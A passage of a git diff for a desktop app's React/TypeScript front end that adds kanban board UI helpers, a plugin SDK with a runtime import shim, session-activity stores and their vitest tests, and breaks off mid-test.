+  return useQuery({ queryKey: ORCHESTRATION_KEY, queryFn: fetchOrchestration, staleTime: 60_000 }).data
+}
+
+/** The dispatcher's configured fallback for unassigned ready cards
+ *  (`kanban.default_assignee`) — '' when unset, i.e. unassigned never runs. */
+export function useDefaultAssignee(): string {
+  return useOrchestration()?.default_assignee.trim() ?? ''
+}
+
+// System-owned drop targets — you can drag a card OUT of these, never INTO
+// them, so lanes/menus must not offer them as targets. `running`/`review` are
+// claimed by the dispatcher; `scheduled` needs a wake-up time only an agent or
+// the CLI can attach (a bare status drag is refused with a 409). The reason
+// copy lives in the plugin i18n bundle (`locked.*`); see `lockedReason`.
+export const LOCKED_COLUMNS = ['review', 'running', 'scheduled'] as const
+
+export const isLockedTarget = (name: string): boolean => (LOCKED_COLUMNS as readonly string[]).includes(name)
+
+export const shortId = (id?: null | string) => (id ?? '').replace(/^t_/, '').slice(0, 6)
+
+// The electron REST bridge throws `Error("409: {\"detail\":\"…\"}")`; pull out
+// the human-readable detail for a toast.
+export function errText(err: unknown): string {
+  const raw = err instanceof Error ? err.message : String(err)
+  const brace = raw.indexOf('{')
+
+  if (brace !== -1) {
+    try {
+      return (JSON.parse(raw.slice(brace)) as { detail?: string }).detail ?? raw
+    } catch {
+      // Not JSON — fall through to the raw message.
+    }
+  }
+
+  return raw
+}
+
+/** Backend timestamps are epoch SECONDS; the canonical formatter takes ms. */
+export const ago = (seconds?: null | number): null | string => (seconds ? relativeTime(seconds * 1000) : null)
+
+const ELAPSED_SUFFIX = { day: 'd', hour: 'h', minute: 'm', second: 's' } as const
+
+/** Compact run duration ("42s", "3m") off the canonical elapsed bucketing. */
+export function duration(start?: null | number, end?: null | number): null | string {
+  if (!start || !end || end < start) {
+    return null
+  }
+
+  const { unit, value } = coarseElapsed((end - start) * 1000)
+
+  return `${value}${ELAPSED_SUFFIX[unit]}`
+}
+
+// ── liveness ─────────────────────────────────────────────────────────────────
+
+/** Live elapsed label ("34s", "2m") that keeps ticking while mounted. */
+function useTicking(start?: null | number): null | string {
+  const [, force] = useState(0)
+
+  useEffect(() => {
+    if (!start) {
+      return
+    }
+
+    const id = window.setInterval(() => force(n => n + 1), 5_000)
+
+    return () => window.clearInterval(id)
+  }, [start])
+
+  if (!start) {
+    return null
+  }
+
+  const { unit, value } = coarseElapsed(Math.max(0, Date.now() - start * 1000))
+
+  return `${value}${ELAPSED_SUFFIX[unit]}`
+}
+
+export type ArcState = 'queued' | 'running' | 'stale'
+
+/**
+ * The card's machine-activity state. The board looked dead between "I made a
+ * card" and "it's suddenly running" — this narrates the in-between. Only the
+ * working states animate the border arc (see kanban.css): running = brisk
+ * sweep, no-heartbeat = amber crawl. `queued` (triage / assigned-ready /
+ * review) renders as the footer's named-agent chip — motion means work.
+ */
+export function arcState(task: KanbanTask, fallbackAssignee: string): ArcState | null {
+  if (task.status === 'running') {
+    // No heartbeat for 2+ min = the worker may have died; the dispatcher will
+    // reclaim it, but be honest instead of sweeping green forever.
+    const stale = task.last_heartbeat_at ? Date.now() / 1000 - task.last_heartbeat_at > 120 : false
+
+    return stale ? 'stale' : 'running'
+  }
+
+  const queued =
+    task.status === 'triage' ||
+    task.status === 'review' ||
+    (task.status === 'ready' && Boolean(task.assignee || fallbackAssignee))
+
+  return queued ? 'queued' : null
+}
+
+/** Ticking "working · 34s" line for running cards (elapsed since claim). */
+export function RunClock({ task }: { task: KanbanTask }) {
+  const k = useKanban()
+  const elapsed = useTicking(task.started_at)
+
+  if (!elapsed) {
+    return null
+  }
+
+  return (
+    <span className="shrink-0 font-medium" style={{ color: columnMeta('running').tone }}>
+      {k.working} · {elapsed}
+    </span>
+  )
+}
+
+function initials(name: string): string {
+  const parts = name
+    .trim()
+    .split(/[\s_\-./]+/)
+    .filter(Boolean)
+
+  return `${parts[0]?.[0] ?? '?'}${parts[1]?.[0] ?? ''}`.toUpperCase()
+}
+
+export function Avatar({ name, size = '1.25rem' }: { name: string; size?: string }) {
+  // Same identity hue the rest of the app uses (profileColor); default/empty
+  // profiles are neutral. Soft tag fill + colored glyph, per the app's tags.
+  const color = profileColor(name)
+
+  return (
+    <span
+      className="grid shrink-0 place-items-center rounded-full font-semibold"
+      style={{
+        backgroundColor: color ? profileColorSoft(color, 22) : 'var(--ui-bg-quaternary)',
+        color: color ?? 'var(--ui-text-secondary)',
+        fontSize: '0.5625rem',
+        height: size,
+        width: size
+      }}
+      title={name}
+    >
+      {initials(name)}
+    </span>
+  )
+}
+
+// Jira-style status control: a colored button showing the current state, click
+// to transition. Options carry their column dot; the active one is checked.
+export function StatusMenu({
+  columns,
+  onMove,
+  status
+}: {
+  columns: string[]
+  onMove: (status: string) => void
+  status: string
+}) {
+  const k = useKanban()
+  const meta = columnMeta(status)
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <button
+          className="inline-flex items-center gap-1.5 rounded px-2 py-1 text-[0.6875rem] font-semibold uppercase tracking-wide transition-[filter] hover:brightness-105"
+          style={{ backgroundColor: `color-mix(in srgb, ${meta.tone} 15%, transparent)`, color: meta.tone }}
+          type="button"
+        >
+          <span className="size-1.5 rounded-full" style={{ backgroundColor: meta.tone }} />
+          {columnLabel(k, status)}
+          <Codicon name="chevron-down" size="0.7rem" />
+        </button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="start">
+        {columns
+          .filter(name => name === status || !isLockedTarget(name))
+          .map(name => (
+            <DropdownMenuItem key={name} onSelect={() => onMove(name)}>
+              <span className="size-2 rounded-full" style={{ backgroundColor: columnMeta(name).tone }} />
+              {columnLabel(k, name)}
+              {name === status && <Codicon className="ml-auto" name="check" size="0.8rem" />}
+            </DropdownMenuItem>
+          ))}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
+// The board's one field/section-label style — hoisted so Section (here), the
+// create dialog's Field, and the orchestration panel all read identically.
+export const FIELD_LABEL = 'text-[0.62rem] font-semibold uppercase tracking-[0.14em] text-(--ui-text-quaternary)'
+
+export function Section({ action, children, label }: { action?: ReactNode; children: ReactNode; label: string }) {
+  return (
+    <section className="flex flex-col gap-1.5">
+      <div className="flex items-center justify-between">
+        <div className={FIELD_LABEL}>{label}</div>
+        {action}
+      </div>
+      {children}
+    </section>
+  )
+}
+
+// Tinted advisory panel: a `tone`-washed body with a matching left rule and a
+// tone-colored icon+title header. Shared by the drawer's diagnostics and its
+// ready-but-unassigned warning so both read identically.
+export function Callout({
+  children,
+  icon = 'warning',
+  title,
+  tone
+}: {
+  children?: ReactNode
+  icon?: string
+  title: ReactNode
+  tone: string
+}) {
+  return (
+    <div
+      className="flex flex-col gap-2 rounded-md p-2.5"
+      style={{ backgroundColor: `color-mix(in srgb, ${tone} 7%, transparent)`, borderLeft: `2px solid ${tone}` }}
+    >
+      <div className="flex items-start gap-1.5 text-[0.75rem] font-medium" style={{ color: tone }}>
+        <Codicon className="mt-px shrink-0" name={icon} size="0.8rem" />
+        <span>{title}</span>
+      </div>
+      {children}
+    </div>
+  )
+}
+
+// A short, edge-masked scroll area. Thin wrapper over the app's FadeScroll so
+// the drawer's scrollers behave exactly like the ones in chat; kept as a local
+// name because every call site here passes `max`.
+export function ScrollFade({ children, deps, max = '9rem' }: { children: ReactNode; deps?: unknown; max?: string }) {
+  return (
+    <FadeScroll deps={deps} maxHeight={max}>
+      {children}
+    </FadeScroll>
+  )
+}
diff --git a/ui-desktop/src/sdk/index.ts b/ui-desktop/src/sdk/index.ts
new file mode 100644
index 000000000..7fb1decff
--- /dev/null
+++ b/ui-desktop/src/sdk/index.ts
@@ -0,0 +1,279 @@
+/**
+ * @clawcodex/plugin-sdk — THE plugin language. The vscode-module model: plugin
+ * authors import exactly one module and get everything — they never touch
+ * `@/…` internals (lint-fenced) and never need codebase access.
+ *
+ * Two delivery modes, one surface:
+ *  - bundled (`src/plugins/<name>/`): the import resolves here via alias;
+ *  - runtime-fetched (plugin host, next phase): the loader injects this same
+ *    object as `window.__CLAWCODEX_PLUGIN_SDK__` and maps the import to it, so a
+ *    published plugin builds against the types with the SDK marked external.
+ *
+ * Capability tiers (WoW-style):
+ *  - `host.state.*` — READONLY app state (nanostore atoms; `.get()` or
+ *    subscribe; `useValue` in React).
+ *  - `host.*` actions — curated, safe verbs (toast, haptic).
+ *  - `host.request` — the gateway JSON-RPC door; the plugin's real power,
+ *    and the future seam for per-plugin capability grants.
+ *  - `ui.*` — the design language, so plugin UI looks native by default.
+ */
+
+import { atom, type ReadableAtom } from 'nanostores'
+
+import { getLogs, getStatus } from '@/clawcodex'
+import { $narrowViewport } from '@/components/pane-shell/tree/store'
+import { onGatewayEvent } from '@/contrib/events'
+import { $gateway } from '@/store/gateway'
+import { notify, notifyError } from '@/store/notifications'
+import { $activeGatewayProfile } from '@/store/profile'
+import { $activeSessionId, $currentCwd, $currentModel, $gatewayState } from '@/store/session'
+import { runGatewayRestart } from '@/store/system-actions'
+
+// -- state: readonly views over the app's live atoms -------------------------
+
+const readonlyAtom = <T>(atomLike: ReadableAtom<T>): ReadableAtom<T> => atomLike
+
+/** Window geometry + the app's responsive posture, one readonly rect. */
+export interface ViewportRect {
+  width: number
+  height: number
+  /** Below the app's sidebar-collapse breakpoint (rails become overlays). */
+  narrow: boolean
+}
+
+const readViewport = (): ViewportRect => ({
+  width: typeof window === 'undefined' ? 0 : window.innerWidth,
+  height: typeof window === 'undefined' ? 0 : window.innerHeight,
+  narrow: $narrowViewport.get()
+})
+
+const $viewport = atom<ViewportRect>(readViewport())
+
+if (typeof window !== 'undefined') {
+  const refresh = () => $viewport.set(readViewport())
+  window.addEventListener('resize', refresh)
+  $narrowViewport.listen(refresh)
+}
+
+export const host = {
+  state: {
+    /** Runtime id of the active chat session (null on a fresh draft). */
+    activeSessionId: readonlyAtom<null | string>($activeSessionId),
+    /** Active workspace cwd ('' when detached). */
+    cwd: readonlyAtom<string>($currentCwd),
+    /** Gateway socket state: 'idle' | 'connecting' | 'open' | …. */
+    gateway: readonlyAtom<string>($gatewayState),
+    /** Current main model slug. */
+    model: readonlyAtom<string>($currentModel),
+    /** Profile the live gateway is routed to. */
+    profile: readonlyAtom<string>($activeGatewayProfile),
+    /** Window geometry ({ width, height, narrow }). */
+    viewport: readonlyAtom<ViewportRect>($viewport)
+  },
+
+  /** Toast into the app's notification stack. */
+  notify,
+  notifyError,
+
+  // NOTE: every host door is async-safe — wrapped so a sync throw from an
+  // internal helper (e.g. no desktop bridge in a plain browser) becomes a
+  // rejection a plugin's .catch() sees, never an error-boundary crash.
+
+  /** Tail an app log file (`agent` / `errors` / `gateway` / `gui` / …). */
+  logs: async (...args: Parameters<typeof getLogs>) => getLogs(...args),
+
+  /** Navigate the app router (hash routes, e.g. '/command-center?section=system'). */
+  navigate: (path: string) => {
+    window.location.hash = path.startsWith('#') ? path : `#${path}`
+  },
+
+  /** HEAR the gateway stream (message deltas, session lifecycle, tool
+   *  activity, …) by event type — `'*'` for everything. Returns a disposer.
+   *  Listeners are isolated; a throw can't affect app dispatch. */
+  onEvent: onGatewayEvent,
+
+  /** Restart the backend gateway (progress surfaces in the core statusbar). */
+  restartGateway: async () => runGatewayRestart(),
+
+  /** One-shot system status snapshot (platforms, versions, …). */
+  status: async () => getStatus(),
+
+  /** Gateway JSON-RPC — sessions, config, skills, cron, kanban, everything
+   *  the app itself uses. Lazy: resolves the LIVE socket per call. */
+  request: async <T>(method: string, params: Record<string, unknown> = {}): Promise<T> => {
+    const gateway = $gateway.get()
+
+    if (!gateway) {
+      throw new Error('ClawCodex gateway unavailable')
+    }
+
+    return gateway.request<T>(method, params)
+  }
+}
+
+// -- react bridge -------------------------------------------------------------
+
+// Every contribution surface, plugin-reachable: register keybinds, palette
+// commands, routes, themes, panes, composer extensions, and bar items with
+// the same area ids + payload types core uses.
+export { COMPOSER_AREAS, type ComposerAttachmentProvider, type ComposerMiddleware } from '@/app/chat/composer/contrib'
+
+// -- ui: the design language --------------------------------------------------
+
+export { PALETTE_AREA, type PaletteContribution } from '@/app/command-palette/contrib'
+export { type RouteContribution, ROUTES_AREA, SIDEBAR_NAV_AREA, type SidebarNavContribution } from '@/app/routes'
+/** THE model catalog menu — the same searchable, provider-grouped, family-
+ *  collapsing picker the chat composer uses, including the per-row
+ *  thinking/effort/fast submenu. Drive it with a `ModelMenuController`: the
+ *  menu renders and navigates, your controller decides what a selection MEANS
+ *  (write to a session, hold a per-task override, …). Never fork it — a copy
+ *  drifts from the composer the first time either side changes. */
+export {
+  ModelCatalogMenu,
+  type ModelChoice,
+  ModelMenuCloseContext,
+  type ModelMenuController
+} from '@/app/shell/model-catalog-menu'
+export type { StatusbarItem } from '@/app/shell/statusbar-controls'
+
+export type { TitlebarTool } from '@/app/shell/titlebar-controls'
+/** Pane placement roles. `'floating'` is the one NON-tiling value: the pane is
+ *  excluded from the layout tree and rendered as a fixed, draggable card above
+ *  it — it takes no width from any zone, has no tab, and can't be docked.
+ *  Pair it with `anchor` (spawn corner, default `'top-right'`) plus
+ *  `width`/`height`. */
+export type { FloatingAnchor } from '@/components/pane-shell/tree/renderer/floating-rect'
+export { StatusDot, type StatusTone } from '@/components/status-dot'
+export { Badge } from '@/components/ui/badge'
+export { Button } from '@/components/ui/button'
+export { Checkbox } from '@/components/ui/checkbox'
+export { Codicon } from '@/components/ui/codicon'
+export { ConfirmDialog } from '@/components/ui/confirm-dialog'
+export {
+  ContextMenu,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuSeparator,
+  ContextMenuTrigger
+} from '@/components/ui/context-menu'
+export { CopyButton } from '@/components/ui/copy-button'
+export { DecodeText } from '@/components/ui/decode-text'
+export {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  DialogTrigger
+} from '@/components/ui/dialog'
+export {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+export { EmptyState } from '@/components/ui/empty-state'
+export { ErrorState } from '@/components/ui/error-state'
+export { FadeScroll } from '@/components/ui/fade-scroll'
+export { GlyphSpinner } from '@/components/ui/glyph-spinner'
+export { Input } from '@/components/ui/input'
+export { Kbd, KbdGroup } from '@/components/ui/kbd'
+/** The app's canonical loader (animated curves; `lemniscate-bloom` for long
+ *  page loads) — the same one every core page uses. */
+export { Loader, type LoaderType } from '@/components/ui/loader'
+export { LogView } from '@/components/ui/log-view'
+export { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
+export { ScrollArea } from '@/components/ui/scroll-area'
+export { SearchField } from '@/components/ui/search-field'
+export { SegmentedControl } from '@/components/ui/segmented-control'
+export { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+export { Separator } from '@/components/ui/separator'
+export { Skeleton } from '@/components/ui/skeleton'
+export { Switch } from '@/components/ui/switch'
+export { Tabs, TabsList, TabsTrigger } from '@/components/ui/tabs'
+export { Textarea } from '@/components/ui/textarea'
+export { Tip, Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'
+export type { GatewayEventListener } from '@/contrib/events'
+export type {
+  ClawCodexPlugin,
+  PluginContext,
+  PluginContribution,
+  PluginNativeNotificationInput,
+  PluginOs,
+  PluginRestOptions,
+  PluginStorage
+} from '@/contrib/plugin'
+
+// -- contracts ----------------------------------------------------------------
+
+/** Mount-scoped contribution: while the rendering component is mounted, its
+ *  children render in the target area's slot; unmount disposes it. Use for
+ *  page-owned chrome (a page's titlebar control leaves with the page) —
+ *  `ctx.register` stays the door for permanent contributions. Namespace the
+ *  id with your plugin slug (`kanban:board-switcher`). */
+export { Contribute, type ContributeProps } from '@/contrib/react/contribute'
+export type { Contribution } from '@/contrib/types'
+/** Grab-to-pan for overflow containers (boards, timelines, wide tables) —
+ *  the shared scrub primitive; don't hand-roll drag-to-scroll. */
+export { type GrabScroll, useGrabScroll } from '@/hooks/use-grab-scroll'
+/** Localized copy. `useI18n` reuses the app's strings; `usePluginI18n(id)` +
+ *  `ctx.i18n.register` let a plugin ship its OWN locale bundles, scoped like
+ *  `ctx.storage` and resolved against the app's active locale — no core edit. */
+export {
+  type Locale,
+  type PluginI18n,
+  type PluginLocaleBundles,
+  type PluginMessages,
+  type PluginMessageValue,
+  type PluginTranslate,
+  useI18n,
+  usePluginI18n
+} from '@/i18n'
+/** THE compact-number formatter — every user-facing count/token figure goes
+ *  through here (1230 → "1.2k", 1_500_000 → "1.5M"). Don't hand-roll `/1000`. */
+export { compactNumber } from '@/lib/format'
+export { triggerHaptic as haptic } from '@/lib/haptics'
+/** The app's lucide icon set (RefreshCw, LayoutDashboard, Activity, …). */
+export * as icons from '@/lib/icons'
+export { type KeybindContribution, KEYBINDS_AREA } from '@/lib/keybinds/actions'
+/** The app's deterministic identity color for a name (profiles, assignees,
+ *  authors) + its translucent tag fill — so plugin-rendered identities read
+ *  the same hue as everywhere else. */
+export { profileColor, profileColorSoft } from '@/lib/profile-color'
+/** The shared client itself, for invalidation OUTSIDE React (e.g. a
+ *  `ctx.socket` frame invalidating a query). Inside components keep using
+ *  `useQueryClient`. */
+export { queryClient } from '@/lib/query-client'
+
+export const PANES_AREA = 'panes'
+/** ClawCodex' reasoning levels + their compact labels, so a plugin surfacing a
+ *  thinking depth uses the same scale and spelling as the rest of the app. */
+export {
+  DEFAULT_REASONING_EFFORT,
+  REASONING_EFFORT_VALUES,
+  REASONING_EFFORTS,
+  type ReasoningEffort,
+  reasoningEffortLabel
+} from '@/lib/reasoning-effort'
+export const STATUSBAR_AREAS = { left: 'statusBar.left', right: 'statusBar.right' } as const
+export const TITLEBAR_AREAS = { center: 'titleBar.center', left: 'titleBar.left', right: 'titleBar.right' } as const
+
+/** The app's own gateway-readiness evaluation (setup.status +
+ *  setup.runtime_check, reconciled) — pass `host.request`. Don't hand-roll
+ *  readiness from raw RPC shapes. */
+export { evaluateRuntimeReadiness, type RuntimeReadinessResult } from '@/lib/runtime-readiness'
+export { coarseElapsed, fmtDateTime, fmtDayTime, relativeTime } from '@/lib/time'
+export { cn } from '@/lib/utils'
+export { THEMES_AREA } from '@/themes/user-themes'
+export type { RpcEvent, StatusResponse } from '@/types/clawcodex'
+/** Subscribe a component to a `host.state` atom. */
+export { useStore as useValue } from '@nanostores/react'
+/** The app's data-fetching layer. Plugins share the ONE QueryClient mounted at
+ *  the app root, so their queries cache, dedupe, poll (`refetchInterval`), and
+ *  invalidate exactly like core screens — no hand-rolled atoms or polls. */
+export { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
+/** Plugin-local reactive state (share between a trigger and its panel, poll
+ *  loops, cross-component signals) — the same primitive `host.state` uses. */
+export { atom, computed } from 'nanostores'
diff --git a/ui-desktop/src/sdk/runtime.ts b/ui-desktop/src/sdk/runtime.ts
new file mode 100644
index 000000000..283e49777
--- /dev/null
+++ b/ui-desktop/src/sdk/runtime.ts
@@ -0,0 +1,54 @@
+/**
+ * Runtime SDK injection — the other half of the vscode-module model. Bundled
+ * plugins resolve `@clawcodex/plugin-sdk` through the vite alias; RUNTIME-loaded
+ * plugins (disk / fetched) import the same specifier and get the same object:
+ * the loader rewrites bare specifiers to shim modules that re-export the
+ * live namespaces installed here. React ships as the app's singletons —
+ * a second React instance would break hooks.
+ */
+
+import * as React from 'react'
+import * as jsxDevRuntime from 'react/jsx-dev-runtime'
+import * as jsxRuntime from 'react/jsx-runtime'
+
+import * as sdk from './index'
+
+const GLOBALS = {
+  __CLAWCODEX_PLUGIN_SDK__: sdk,
+  __CLAWCODEX_REACT__: React,
+  __CLAWCODEX_REACT_JSX__: jsxRuntime,
+  __CLAWCODEX_REACT_JSX_DEV__: jsxDevRuntime
+} as const
+
+export function installPluginSdk(): void {
+  Object.assign(globalThis, GLOBALS)
+}
+
+/** Build a shim ESM blob that re-exports a global namespace's live members.
+ *  Export names come from the namespace itself, so the list can't drift. */
+function shimUrl(globalKey: keyof typeof GLOBALS): string {
+  const names = Object.keys(GLOBALS[globalKey]).filter(name => name !== 'default' && /^[A-Za-z_$][\w$]*$/.test(name))
+
+  const source =
+    `const m = globalThis.${globalKey};\n` +
+    `export default m.default ?? m;\n` +
+    // Guard the destructuring: `export const {  } = m` is a syntax error, so
+    // only emit it when the namespace actually has named exports.
+    (names.length ? `export const { ${names.join(', ')} } = m;\n` : '')
+
+  return URL.createObjectURL(new Blob([source], { type: 'text/javascript' }))
+}
+
+let cached: Record<string, string> | null = null
+
+/** Specifier -> shim URL map for the runtime loader (longest keys first). */
+export function sdkImportMap(): Record<string, string> {
+  cached ??= {
+    '@clawcodex/plugin-sdk': shimUrl('__CLAWCODEX_PLUGIN_SDK__'),
+    'react/jsx-dev-runtime': shimUrl('__CLAWCODEX_REACT_JSX_DEV__'),
+    'react/jsx-runtime': shimUrl('__CLAWCODEX_REACT_JSX__'),
+    react: shimUrl('__CLAWCODEX_REACT__')
+  }
+
+  return cached
+}
diff --git a/ui-desktop/src/store/active-work.test.ts b/ui-desktop/src/store/active-work.test.ts
new file mode 100644
index 000000000..4997f1a1b
--- /dev/null
+++ b/ui-desktop/src/store/active-work.test.ts
@@ -0,0 +1,60 @@
+import { beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+
+import { $sessions } from './session'
+import { clearAllSessionStates, publishSessionState } from './session-states'
+
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+const setActiveWork = vi.fn()
+
+const busy = (storedSessionId: string, isBusy: boolean) =>
+  ({ busy: isBusy, needsInput: false, storedSessionId }) as ClientSessionState
+
+const session = (id: string, title: null | string) => ({ id, title }) as (typeof $sessions.value)[number]
+
+beforeAll(async () => {
+  desktopWindow.clawcodexDesktop = { setActiveWork } as unknown as Window['clawcodexDesktop']
+  // Subscribes at import time, so the bridge has to exist first.
+  await import('./active-work')
+})
+
+beforeEach(() => {
+  clearAllSessionStates()
+  $sessions.set([])
+  setActiveWork.mockClear()
+})
+
+describe('active work bridge', () => {
+  it('reports a busy session by title', () => {
+    $sessions.set([session('s1', 'Fix login'), session('s2', 'Idle chat')])
+    publishSessionState('runtime-1', busy('s1', true))
+
+    expect(setActiveWork).toHaveBeenLastCalledWith({ count: 1, titles: ['Fix login'] })
+  })
+
+  it('counts an untitled busy session without inventing a title', () => {
+    $sessions.set([session('s1', null)])
+    publishSessionState('runtime-1', busy('s1', true))
+
+    expect(setActiveWork).toHaveBeenLastCalledWith({ count: 1, titles: [] })
+  })
+
+  it('drops back to nothing when the turn ends', () => {
+    $sessions.set([session('s1', 'Fix login')])
+    publishSessionState('runtime-1', busy('s1', true))
+    publishSessionState('runtime-1', busy('s1', false))
+
+    expect(setActiveWork).toHaveBeenLastCalledWith({ count: 0, titles: [] })
+  })
+
+  it('does not re-send an unchanged summary', () => {
+    $sessions.set([session('s1', 'Fix login')])
+    publishSessionState('runtime-1', busy('s1', true))
+    setActiveWork.mockClear()
+
+    $sessions.set([session('s1', 'Fix login'), session('s2', 'Something else')])
+
+    expect(setActiveWork).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/store/active-work.ts b/ui-desktop/src/store/active-work.ts
new file mode 100644
index 000000000..32226f518
--- /dev/null
+++ b/ui-desktop/src/store/active-work.ts
@@ -0,0 +1,42 @@
+/**
+ * Mirror of "which chats are mid-turn" to the main process.
+ *
+ * The renderer is the only side that knows a turn is in flight, and the main
+ * process is the only side that can intercept a quit. This module bridges the
+ * two: it publishes a small summary on every membership change, and
+ * `electron/quit-guard.ts` turns that into the confirmation dialog.
+ *
+ * Imported for its side effect from `main.tsx`, alongside `store/translucency`.
+ */
+
+import { computed } from 'nanostores'
+
+import type { ClawCodexActiveWork } from '@/global'
+import { $sessions } from '@/store/session'
+import { $workingSessionIds } from '@/store/session-states'
+
+const $activeWork = computed([$workingSessionIds, $sessions], (workingIds, sessions): ClawCodexActiveWork => {
+  const titleById = new Map(sessions.map(session => [session.id, session.title?.trim() ?? '']))
+
+  return {
+    count: workingIds.length,
+    titles: workingIds.map(id => titleById.get(id) ?? '').filter(Boolean)
+  }
+})
+
+if (typeof window !== 'undefined') {
+  // `$sessions` republishes on unrelated churn (previews, heartbeats), so only
+  // send when the summary itself moved — this crosses a process boundary.
+  let lastSent = ''
+
+  $activeWork.subscribe(work => {
+    const next = JSON.stringify(work)
+
+    if (next === lastSent) {
+      return
+    }
+
+    lastSent = next
+    window.clawcodexDesktop?.setActiveWork?.(work)
+  })
+}
diff --git a/ui-desktop/src/store/activity.ts b/ui-desktop/src/store/activity.ts
new file mode 100644
index 000000000..79154fc5f
--- /dev/null
+++ b/ui-desktop/src/store/activity.ts
@@ -0,0 +1,100 @@
+import { atom } from 'nanostores'
+
+import { sessionTitle } from '@/lib/chat-runtime'
+import type { PreviewServerRestart } from '@/store/preview'
+import type { ActionStatusResponse, SessionInfo } from '@/types/clawcodex'
+
+const HISTORY_LIMIT = 8
+const COMPLETED_TTL_MS = 5 * 60 * 1000
+
+export type RailTaskStatus = 'error' | 'running' | 'success'
+
+export interface RailTask {
+  id: string
+  label: string
+  detail: string
+  status: RailTaskStatus
+  updatedAt: number
+}
+
+export interface DesktopActionTask {
+  status: ActionStatusResponse
+  updatedAt: number
+}
+
+export const $desktopActionTasks = atom<Record<string, DesktopActionTask>>({})
+
+export function upsertDesktopActionTask(status: ActionStatusResponse): void {
+  $desktopActionTasks.set(prune({ ...$desktopActionTasks.get(), [status.name]: { status, updatedAt: Date.now() } }))
+}
+
+export function buildRailTasks(
+  workingSessionIds: readonly string[],
+  sessions: readonly SessionInfo[],
+  previewRestart: PreviewServerRestart | null,
+  actionTasks: Record<string, DesktopActionTask>
+): RailTask[] {
+  const sessionsById = new Map(sessions.map(session => [session.id, session]))
+
+  const sessionTasks: RailTask[] = workingSessionIds.map((id, index) => {
+    const session = sessionsById.get(id)
+
+    return {
+      id: `session:${id}`,
+      label: session ? sessionTitle(session) : 'Session task',
+      detail: 'Agent task running',
+      status: 'running',
+      updatedAt: session?.last_active || Date.now() - index
+    }
+  })
+
+  const previewTasks: RailTask[] = previewRestart
+    ? [
+        {
+          id: `preview:${previewRestart.taskId}`,
+          label: 'Preview restart',
+          detail: previewRestart.message || previewRestart.url,
+          status:
+            previewRestart.status === 'error' ? 'error' : previewRestart.status === 'running' ? 'running' : 'success',
+          updatedAt: Date.now()
+        }
+      ]
+    : []
+
+  const actions: RailTask[] = Object.values(actionTasks).map(({ status, updatedAt }) => ({
+    id: `action:${status.name}`,
+    label: status.name,
+    detail: actionDetail(status),
+    status: actionStatus(status),
+    updatedAt
+  }))
+
+  return [...sessionTasks, ...previewTasks, ...actions].sort((left, right) => right.updatedAt - left.updatedAt)
+}
+
+function actionStatus(status: ActionStatusResponse): RailTaskStatus {
+  if (status.running) {
+    return 'running'
+  }
+
+  return status.exit_code === 0 ? 'success' : 'error'
+}
+
+function actionDetail(status: ActionStatusResponse): string {
+  if (status.running) {
+    return 'Running'
+  }
+
+  return status.exit_code === 0 ? 'Completed' : `Failed (${status.exit_code ?? 'unknown'})`
+}
+
+function prune(tasks: Record<string, DesktopActionTask>): Record<string, DesktopActionTask> {
+  const now = Date.now()
+
+  return Object.fromEntries(
+    Object.entries(tasks)
+      .filter(([, task]) => task.status.running || now - task.updatedAt <= COMPLETED_TTL_MS)
+      .sort(([, left], [, right]) => right.updatedAt - left.updatedAt)
+      .slice(0, HISTORY_LIMIT)
+  )
+}
diff --git a/ui-desktop/src/store/agent-notices.test.ts b/ui-desktop/src/store/agent-notices.test.ts
new file mode 100644
index 000000000..1333969aa
--- /dev/null
+++ b/ui-desktop/src/store/agent-notices.test.ts
@@ -0,0 +1,231 @@
+import { beforeEach, expect, test } from 'vitest'
+
+import {
+  type AgentNoticePayload,
+  clearAgentNotice,
+  nativeNoticeInput,
+  noticeAccent,
+  noticeToToast,
+  showAgentNotice,
+  splitMeta,
+  stripGlyph,
+  usageFraction
+} from './agent-notices'
+import { $notifications, clearNotifications } from './notifications'
+
+function usage(overrides: Partial<AgentNoticePayload> = {}): AgentNoticePayload {
+  return {
+    key: 'credits.usage',
+    kind: 'sticky',
+    level: 'info',
+    text: "• You've used $110.00 of your $220.00 cap",
+    ...overrides
+  }
+}
+
+beforeEach(() => {
+  clearNotifications()
+})
+
+// ── noticeToToast: the whole mapping contract ────────────────────────────────
+
+test('drops a notice with no text', () => {
+  expect(noticeToToast(undefined)).toBeNull()
+  expect(noticeToToast({ text: '' })).toBeNull()
+  expect(noticeToToast({ text: '   ' })).toBeNull()
+})
+
+test('level maps to toast kind (warn → warning)', () => {
+  expect(noticeToToast(usage({ level: 'info' }))?.kind).toBe('info')
+  expect(noticeToToast(usage({ level: 'warn' }))?.kind).toBe('warning')
+  expect(noticeToToast(usage({ level: 'error' }))?.kind).toBe('error')
+  expect(noticeToToast(usage({ level: 'success' }))?.kind).toBe('success')
+})
+
+test('unknown / missing level falls back to info', () => {
+  expect(noticeToToast({ text: 'x', level: 'bogus' })?.kind).toBe('info')
+  expect(noticeToToast({ text: 'x' })?.kind).toBe('info')
+})
+
+test('sticky notices never auto-dismiss', () => {
+  expect(noticeToToast(usage({ kind: 'sticky' }))?.durationMs).toBe(0)
+})
+
+test('ttl notice carries its ttl_ms as the duration', () => {
+  const toast = noticeToToast({
+    key: 'credits.restored',
+    kind: 'ttl',
+    level: 'success',
+    text: '✓ restored',
+    ttl_ms: 8000
+  })
+
+  expect(toast?.durationMs).toBe(8000)
+})
+
+test('ttl notice without a usable ttl_ms defers to notify()’s default', () => {
+  expect(noticeToToast({ text: 'x', kind: 'ttl' })?.durationMs).toBeUndefined()
